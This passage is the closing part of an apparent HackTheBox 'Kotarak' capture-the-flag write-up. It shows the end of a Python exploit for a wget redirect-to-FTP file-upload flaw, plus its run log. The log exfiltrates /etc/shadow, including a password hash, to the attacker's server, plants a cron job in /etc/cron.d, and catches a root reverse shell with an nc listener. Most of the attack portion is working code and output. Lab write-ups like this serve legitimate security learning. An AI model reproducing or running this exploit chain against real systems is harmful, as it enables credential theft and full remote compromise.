    handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
    
    print "Ready? Is your FTP server running?"
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    result = sock.connect_ex((FTP_HOST, FTP_PORT))
    if result == 0:
       print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
    else:
       print "FTP is down :( Exiting."
       exit(1)
    
    print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
    
    handler.serve_forever()
    
  1. upload it to the server, I just copied it over and then ran the exploit on the target machine as authbind python exploit.py
atanas@kotarak-dmz:/tmp/ftptest$ authbind python exploit.py
Ready? Is your FTP server running?
FTP found open on 10.129.1.117:21. Let's go then

Serving wget exploit on port 80...

We have a volunteer requesting /archive.tar.gz by GET :)

Uploading .wgetrc via ftp redirect vuln. It should land in /root 

10.0.3.133 - - [23/Jul/2023 12:12:01] "GET /archive.tar.gz HTTP/1.1" 301 -
Sending redirect to ftp://anonymous@10.129.1.117:21/.wgetrc

Exploited successfully, now we need to wait for it to go again to give us the contents of the shadow file.

In our listener on the attacker machine we can see:

[I 2023-07-23 12:23:53] 10.129.1.117:44486-[] FTP session opened (connect)
[I 2023-07-23 12:24:01] 10.0.3.133:39924-[] FTP session opened (connect)
[I 2023-07-23 12:24:01] 10.0.3.133:39924-[anonymous] USER 'anonymous' logged in.
[I 2023-07-23 12:24:01] 10.0.3.133:39924-[anonymous] RETR /tmp/ftptest/.wgetrc completed=1 bytes=70 seconds=0.0
[I 2023-07-23 12:24:01] 10.0.3.133:39924-[anonymous] FTP session closed (disconnect).

+2 minutes later:

Received POST from wget, this should be the extracted /etc/shadow file: 

---[begin]---
 root:*:17366:0:99999:7:::
daemon:*:17366:0:99999:7:::
bin:*:17366:0:99999:7:::
sys:*:17366:0:99999:7:::
sync:*:17366:0:99999:7:::
games:*:17366:0:99999:7:::
man:*:17366:0:99999:7:::
lp:*:17366:0:99999:7:::
mail:*:17366:0:99999:7:::
news:*:17366:0:99999:7:::
uucp:*:17366:0:99999:7:::
proxy:*:17366:0:99999:7:::
www-data:*:17366:0:99999:7:::
backup:*:17366:0:99999:7:::
list:*:17366:0:99999:7:::
irc:*:17366:0:99999:7:::
gnats:*:17366:0:99999:7:::
nobody:*:17366:0:99999:7:::
systemd-timesync:*:17366:0:99999:7:::
systemd-network:*:17366:0:99999:7:::
systemd-resolve:*:17366:0:99999:7:::
systemd-bus-proxy:*:17366:0:99999:7:::
syslog:*:17366:0:99999:7:::
_apt:*:17366:0:99999:7:::
sshd:*:17366:0:99999:7:::
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::
 
---[eof]---

Sending back a cronjob script as a thank-you for the file...
It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)
10.0.3.133 - - [23/Jul/2023 12:26:01] "POST /archive.tar.gz HTTP/1.1" 200 -

File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :)

Now the 3rd step of the exploit, we wait 2 more minutes and should have root.

┌──(collinhacks㉿CH)-[~/Lab/HTB/Kotarak]
└─$ nc -lvnp 4001                                                                                                1listening on [any] 4001 ...
connect to [10.10.16.3] from (UNKNOWN) [10.129.1.117] 60058
bash: cannot set terminal process group (2857): Inappropriate ioctl for device
bash: no job control in this shell
root@kotarak-int:~#

Useful resource links

Lessons Learned

  • SSRF practice
  • Used Gopherus for the first time aside from just hearing about it
  • wget 1.17.1 exploit